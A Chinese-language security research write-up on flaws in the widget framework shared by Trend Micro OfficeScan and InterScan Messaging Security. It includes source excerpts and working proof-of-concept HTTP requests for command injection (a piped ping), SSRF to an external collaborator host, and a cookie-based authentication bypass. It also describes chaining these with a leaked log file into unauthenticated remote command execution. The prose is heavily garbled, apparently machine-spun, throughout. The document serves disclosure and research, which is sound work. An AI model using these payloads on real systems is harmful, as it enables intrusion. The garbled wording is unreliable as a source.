框架的网安性曾经愈来愈惹起网安职员的存眷,比方Apache Struts案例中因为框架内繁多破绽bug所激发的网安打击想必人人早有耳闻。假如从产物供应商的角度来斟酌这类危险的话,咱们也能找到异常类似的情况。在本文中,我将向您展现若安在分歧的趋向科技产物长途履行代码,因为这些分歧产物都利用了雷同的代码库。
一个漏洞破绽bug通杀所有产物——趋向科技产物的Widget
大多数趋向科技的产物都为管理员网页供给了响应的widget。固然焦点体系是经由过程/.NET编写的,然则这个widget机制倒是用完成的。这就意味着,每当利用widget时,响应的产物中必需植入PHP解释器。这对付攻击者来讲,的确就是一个完美的情况:因为各类分歧的产物中含有雷同的代码库,以是一旦从中发明了漏洞破绽bug,就能够或许顺遂搞定所有的产物。
因为下面提到的缘故原由,我对趋向科技OfficeScan产物的widget体系停止了一次代码考核。此次审计的成果一方面是异常风趣的,同时对我来讲也是可怜的,因为固然找到了6个分歧的漏洞破绽bug,但只要2个是0day。
在深刻懂得该漏洞破绽bug以前,我想先分享一下这个widget库的事情道理。
从头开端
这个widget框架有一个署理机制。简而言之,咱们有一个proxy_controller.php端点,它会接管用户供给的参数,而后依据用户的输出来挪用相干的类。
widget的范例紧张有两种:用户天生的widget和默许的widget。以下源代码取自proxy_controller.php文件。
if(!isset($g_GetPost)){
$g_GetPost = array_merge($_GET,$_POST);
}else{
$g_GetPost = array_merge($g_GetPost,$_GET,$_POST);
}
// ... CODE OMIT ...
$server_module = $g_GetPost['module'];
$isDirectoryTraversal = WF::getSecurityFactory()->getSanitize()->isDirectoryTraversal($server_module);
if(true === $isDirectoryTraversal){
mydebug_log("Bad guy come in!!");
proxy_error(WF_PROXY_ERR_INIT_INVALID_MODULE, WF_PROXY_ERR_INIT_INVALID_MODULE_MSG);
}
$intUserGeneratedInfoOfWidget = (array_key_exists('userGenerated', $g_GetPost)) ? $g_GetPost['userGenerated'] : 0;
if($intUserGeneratedInfoOfWidget == 1){
$strProxyDir = USER_GENERATED_PROXY_DIR;
}else{
$strProxyDir = PROXY_DIR;
}
$myproxy_file = $strProxyDir . "/" . $server_module . "/Proxy.php";
//null byte injection prevents
if( is_string( $myproxy_file ) ) {
$myproxy_file = str_replace( "\0", '', $myproxy_file );
}
// does file exist?
if(file_exists($myproxy_file)){
include ($myproxy_file);
}else{
proxy_error(WF_PROXY_ERR_INIT_INVALID_MODULE, WF_PROXY_ERR_INIT_INVALID_MODULE_MSG);
}
// does class exist?
if(! class_exists("WFProxy")){
proxy_error(WF_PROXY_ERR_INIT_MODULE_ERROR, WF_PROXY_ERR_INIT_MODULE_ERROR_MSG);
}
// ... CODE OMIT ...
$request = new WFProxy($g_GetPost, $wfconf_dbconfig);
$request->proxy_exec();
$request->proxy_output();
上述代码块将分离履行以下操纵。
1. 归并GET和POST参数,而后将它们存储到$ g_GetPost变量中。
2. 验证$ g_GetPost ['module']变量。
3. 而后经由过程检测$ g_GetPost ['userGenerated']参数来确定能否哀求由用户天生的窗口widget。
4. 包括所需的php类。
5. 作为末了一步,创立一个WFProxy实例,而后挪用proxy_exec()和proxy_output()办法。
基本上,咱们会有多个WFProxy完成,而具体援用哪个WFProxy完成则是由来自客户端的值所决定的。
好了,有了下面的常识做铺垫,接下来就能够或许深刻探究我发明的各类技能细节了,因为所有这些内容,都是对于若何利用分歧的类来通报参数的。
漏洞破绽bug#1——认证敕令注入
以下代码取自modTM的WFProxy完成。
public function proxy_exec()
{
// localhost, directly launch report.php
if ($this->cgiArgs['serverid'] == '1')
{
if($this->cgiArgs['type'] == "WR"){
$cmd = "php ../php/lwcs_report.php ";
$this->AddParam($cmd, "t");
$this->AddParam($cmd, "tr");
$this->AddParam($cmd, "ds");
$this->AddParam($cmd, "m");
$this->AddParam($cmd, "C");
exec($cmd, $this->m_output, $error);
if ($error != 0)
{
$this->errCode = WF_PROXY_ERR_EXEC_OTHERS;
$this->errMessage = "exec lwcs_report.php failed. err = $error";
}
}
else{
$cmd = "php ../php/report.php ";
$this->AddParam($cmd, "T");
$this->AddParam($cmd, "D");
$this->AddParam($cmd, "IP");
$this->AddParam($cmd, "M");
$this->AddParam($cmd, "TOP");
$this->AddParam($cmd, "C");
$this->AddParam($cmd, "CONSOLE_LANG");
exec($cmd, $this->m_output, $error);
if ($error != 0)
{
$this->errCode = WF_PROXY_ERR_EXEC_OTHERS;
$this->errMessage = "exec report.php failed. err = $error";
}
}
}
private function AddParam(&$cmd, $param)
{
if (isset($this->cgiArgs[$param]))
{
$cmd = $cmd.$param."=".$this->cgiArgs[$param]." ";
}
}
明显,咱们有可能从这里找到一个敕令注入漏洞破绽bug。然则咱们还面对一个成绩:咱们可以或许节制$this-> cgiArgs数组吗? 谜底是确定的。假如回想一下后面的代码,你会发明$request = new WFProxy($g_GetPost,$wfconf_dbconfig),是以$g_GetPost是完整可控的。
每个WFProxy类都承继自ABaseProxy形象类;下面是这个基类的__construct办法的前两行代码。
public function __construct($args, $dbconfig){
$this->cgiArgs = $args;
这意味着,$this->cgiArgs间接是经由过程GET和POST参数停止添补的。
PoC
POST /officescan/console/html/widget/proxy_controller.php HTTP/1.1
Host: 12.0.0.184
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie:; LogonUser=root; wf_CSRF_token=fb5b76f53eb8ea670c3f2d4906ff1098; PHPSESSID=edir98ccf773n7331cd3jvtor5;
X-CSRFToken: fb5b76f53eb8ea670c3f2d4906ff1098
ctype: application/x-www-form-urlencoded; charset=utf-8
Content-Type: application/x-www-form-urlencoded
Content-Length: 6102
module=modTMCSS&serverid=1&TOP=2>&1|ping 4.4.4.4
紧张提醒:当exec()函数用于第二和第三个函数参数时,假如要利用管道技能的话,则只必要胜利履行第一个敕令便可。这时候,咱们的敕令将酿成php ../php/lwcs_report.php TOP = 2>&1 | ping 4.4.4.4。此中,这里利用2>&1是为了诱骗exec()函数,因为咱们在产物基本就没有lwsc_report.php这个剧本。是以,敕令的第一部分老是前往command not found差错。
可怜的是,我意想到这个漏洞破绽bug是由Source Incite的Steven Seeley发明的;而且,在几个星期前,供应商就宣布了响应的补钉(http://www.zerodayinitiative.com/advisories/ZDI-17-521/)。 依据该补钉倡议来看,必要停止身份验证以后能力利用该漏洞破绽bug。别的,我找到了一种办法,可以或许来绕过身份验证,今朝这类漏洞破绽bug利用办法照样一个0day。 对于这个0day的具体先容,请参考漏洞破绽bug#_6。
漏洞破绽bug#2#3#4——泄漏私钥 & 地下拜访Sqlite3 & SSRF
另一名研究职员(John Page,别名hyp3rlinx)也发明了这些漏洞破绽bug。不外,这些漏洞破绽bug并不是本文的重点存眷工具,以是不做先容。对付这些漏洞破绽bug的技能细节感兴趣的读者,可以或许拜访下面的链接https://www.exploit-db.com/exploits/42920/。
漏洞破绽bug#5——办事端哀求捏造(0day)
您还记得以条件到过的那两种范例的widget(用户天生的widget和体系widget)吗? 趋向科技在代码库中供给了一个默许用户天生的widget完成。它的名字是modSimple。我信任它确定还留在项目中,用来演示若何完成自定义widget。
下面是这个widget的proxy_exec()函数的完成代码。
public function proxy_exec() {
$this->httpObj->setURL(urldecode($this->cgiArgs['url']));
if( $this->httpObj->Send() == FALSE ) {
//Handle Timeout issue here
if($this->httpObj->getErrCode()===28)
{
$this->errCode = WF_PROXY_ERR_EXEC_TIMEOUT;
}
else
{
$this->errCode = WF_PROXY_ERR_EXEC_CONNECT;
}
$this->errMessage = $this->httpObj->getErrMessage();
}
}
咱们可以或许看到,它间接就利用了url参数,而没有停止任何验证。大概您还记得,$this-> cgiArgs ['url']是一个用户节制的变量。
PoC
POST /officescan/console/html/widget/proxy_controller.php HTTP/1.1
Host: 12.0.0.200
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Request: JSON
X-CSRFToken: o6qjdkto700a43nfslqpjl0rm5
Content-type: application/x-www-form-urlencoded; charset=utf-8
Referer: https://12.0.0.200:8445/widget/index.php
Content-Length: 192
Cookie: JSESSIONID=C2DC56BE1093D0232440A1E469D862D3; CurrentLocale=en-US; PHPSESSID=o6qjdkto700a43nfslqpjl0rm5; un=7164ceee6266e893181da6c33936e4a4; userID=1;; wids=modImsvaSystemUseageWidget%2CmodImsvaMailsQueueWidget%2CmodImsvaQuarantineWidget%2CmodImsvaArchiveWidget%2C; lastID=4; cname=dashBoard; theme=default; lastTab=3; trialGroups=newmenu%0D%0AX-Footle:%20bootle
X-Forwarded-For: 127.0.0.1
True-Client-Ip: 127.0.0.1
Connection: close
module=modSimple&userGenerated=1&serverid=1&url=http://azdrkpoar6muaemvbglzqxzbg2mtai.burpcollaborator.net/
漏洞破绽bug#6 - 认证绕过漏洞破绽bug(0day)
后面说过,焦点体系是用Java/.NET编写的,然则这个widget体系是用PHP完成的。以是,这里最大的成绩是:
当哀求达到widget时,它们如何能力晓得用户曾经经由过程了身份验证呢?
答复这个成绩的最简单的办法是,跟踪Burp日记,反省用户能否了登岸了视图仪表板,因为登岸是经由过程widget停止的。以下HTTP POST哀求惹起了我的留意。
POST /officescan/console/html/widget/ui/modLogin/talker.php HTTP/1.1
Host: 12.0.0.175
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: session_expired=no;; LogonUser=root; wf_CSRF_token=c7ce6cd2ab50bd787bb3a1df0ae58810
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 59
X-CSRFToken: c7ce6cd2ab50bd787bb3a1df0ae58810
Content-Type: application/x-www-form-urlencoded
cid=1&act=check&hash=425fba925bfe7cd8d80a8d5f441be863&pid=1
以下代码就是取自该文件。
if(!WF::getSecurityFactory()->getHttpToken()->isValidHttpHeaderToken()){
make_error_response(WF_ERRCODE_HTTP_HEADER_TOKEN_ERR, WF_ERRCODE_HTTP_HEADER_TOKEN_ERR_MSG);
exit();
}
// ... CODE OMIT ...
if( $_REQUEST['act'] == "check" ) {
mydebug_log("[LOGIN][check]");
if( (!isset($_REQUEST['hash']) || $_REQUEST['hash'] == "") ) {
make_error_response( LOGIN_ERRCODE_LACKINPUT, LOGIN_ERRCODE_LACKINPUT_MSG."(email)");
exit;
}
// check user state
$recovered = false;
if( STANDALONE_WF ) {
mydebug_log("[LOGIN][check] recover session STANDALONE");
$recovered = $wfuser->standalone_user_init();
} else {
mydebug_log("[LOGIN][check] recover session PRODUCT");
$recovered = $wfuser->product_user_init();
}
if( $recovered == false ) {
mydebug_log("[LOGIN][check] recover session failed");
make_error_response( LOGIN_ERRCODE_LOGINFAIL, LOGIN_ERRCODE_LOGINFAIL_MSG);
exit;
}
mydebug_log("[LOGIN][check] recover session ok");
/*
* return the widgets of only first tab
*/
$ckresult = $wfuser->check_result($_REQUEST['pid'],$_REQUEST['cid']);
if( $ckresult == false ) {
make_error_response( LOGIN_ERRCODE_DBERR, LOGIN_ERRCODE_DBERR_MSG);
} else {
mydebug_log("[LOGIN][check] check result: ".$ckresult);
make_successful_response( LOGIN_OK_SUCCESS_MSG, $ckresult);
}
exit;
}
起首,咱们在这里停止的是CSRF验证。但紧张的代码位于17-23行之间。 $wfuser-> standalone_user_init()和$wfuser-> product_user_init()卖力利用widget框架停止身份验证。下面,让咱们从第一个挪用开端先容。
这里有4个外部函数挪用序列。
public function standalone_user_init(){
mydebug_log("[WFUSER] standalone_user_init()");
if(isset($_COOKIE['userID'])){
return $this->recover_session_byuid($_COOKIE['userID']);
}
mydebug_log("[WFUSER] standalone_user_init(): cookie userID isn't set");
return false;
}
public function recover_session_byuid($uid){
mydebug_log("[WFUSER] recover_session_byuid() " . $uid);
if(false == $this->loaduser_byuid($uid)){
mydebug_log("[WFUSER] recover_session_byuid() failed");
return false;
}
return $this->recover_session();
}
public function loaduser_byuid($uid){
mydebug_log("[WFUSER] loaduser_byuid() " . $uid);
// load user
$uinfolist = $this->userdb->get_users($uid);
if($this->userdb->isFailed()){
return false;
}
// no exists
if(! isset($uinfolist[0])){
return false;
}
// get userinfo
$this->userinfo = $uinfolist[0];
return true;
}
public function get_users($uid = null){
// specify uid
$work_uid = $this->valid_uid($uid);
if($work_uid == null){
return;
}
// query string
$sqlstring = 'SELECT * from ' . $this->users_table . ' WHERE id = :uid';
$sqlvalues[':uid'] = $work_uid;
return $this->runSQL($sqlstring, $sqlvalues, "Get " . $this->users_table . " failed", 1);
}
上述代码分离履行以下操纵。
1. 从cookie获得响应的值
2. 挪用loaduser_byuid()并将响应的值通报给该函数。
3. 用给定的值挪用get_users()函数。 假如该函数前往true,它将前往true,从而让后面的函数承继并挪用recover_session()函数。
4. get_users()函数将利用给定的独一id履行SQL查问。
$wfuser-> product_user_init()函数序列几乎没有甚么变更。 $wfuser-> standalone_user_init()和$wfuser-> product_user_init()之间的独一差别就是第一个函数利用user_id,而第二个函数则利用username。
我在这里没有看到任何身份验证。乃至连hash参数都没有利用。以是利用雷同的变量挪用这个端点将顺遂经由过程身份验证。
一个漏洞破绽bug搞定所有产物(Met
asploit Module)
如今咱们发明了两个漏洞破绽bug。第一个是近来修补的敕令注入漏洞破绽bug,第二个是widget体系的身份验证绕过漏洞破绽bug。假如将这些漏洞破绽bug组合起来,咱们就能在没有任何身份凭据的情况下履行操纵体系的敕令。
下面是响应的metasploit模块的演示。 (https://github.com/rapid7/metasploit-framework/pull/9052)
雷同的代码/漏洞破绽bug:趋向科技InterScan Messaging Security产物的RCE漏洞破绽bug
在这个widget框架方面,InterScan Messaging Security和OfficeScan的差别之一就是..门路!
OfficeScan的widget框架门路:
https://TARGET/officescan/console/html/widget/proxy_controller.php
IMSVA widget 框架的门路:
https://TARGET:8445/widget/proxy_controller.php
另一个紧张差别就是widget认证。对付talker.php来讲,IMSA轻微有些分歧,具体以下所示。
if(!isset($_COOKIE["CurrentLocale"]))
{
echo $loginscript;
exit;
}
$currentUser;
$wfsession_checkURL="Https://".$_SERVER["SERVER_ADDR"].":".$_SERVER["SERVER_PORT"]."/WFSessionCheck.imss";
$wfsession_check = new WFHttpTalk();
$wfsession_check->setURL($wfsession_checkURL);
$wfsession_check->setCookies($_COOKIE);
if(isset($_COOKIE["JSESSIONID"]))
mydebug_log("[product_auth] JSEEEIONID:".$_COOKIE["JSESSIONID"]);
$wfsession_check->Send();
$replycode = $wfsession_check->getCode();
mydebug_log("[product_auth]reply code-->".$replycode);
$replybody = $wfsession_check->getBody();
mydebug_log("[product_auth]reply body-->".$replybody);
if($replycode != 200)
{
mydebug_log("[product_auth] replycode != 200");
echo $loginscript;
exit;
}
它从用户那边获得JSESSIONID的值,而后利用这个值向WFSessionCheck.imss发送HTTP哀求,在那边经由过程焦点Java利用停止用户身份验证。看起来,这似乎可以或许避免下面发明的身份验证绕过漏洞破绽bug,但实际上并不是如此。为此,咱们必要细心研读下面的代码:纵然哀求中不存在JSESSIONID的时刻,上述代码也会利用JSESSIONID来挪用mydebug_log()函数。
请留意,该日记文件是可经由过程Web办事器地下拜访的。
https://12.0.0.201:8445/widget/repository/log/diagnostic.log
以是,要想利用OfficeScan中的漏洞破绽bug的话,咱们只必要增加一个额定的步调便可。也就是说,咱们必要读取这个日记文件的内容,以便提取有用的JSESSIONID值,而后利用它来绕过身份验证。
下面是响应的metasploit模块的演示。 (https://github.com/rapid7/metasploit-framework/pull/9053)
小结
起首,我想再次重申,趋向科技曾经为这两种产物中的敕令注入漏洞破绽bug供给了网安补钉。 是以,假如您是趋向科技用户,或您的构造正在利用这些产物的话,请立即行为起来。
固然,在分歧的产物中利用雷同的代码库其实不是甚么好事。本文只是想指出,在这类情况下,框架中的一个bug就可能会惹起很大的费事。
那末,究竟有若干分歧的产物受这个漏洞破绽bug影响呢?
我不晓得,因为今朝仅仅反省了这两个产物。固然,假如有光阴的话,我还会反省其余产物。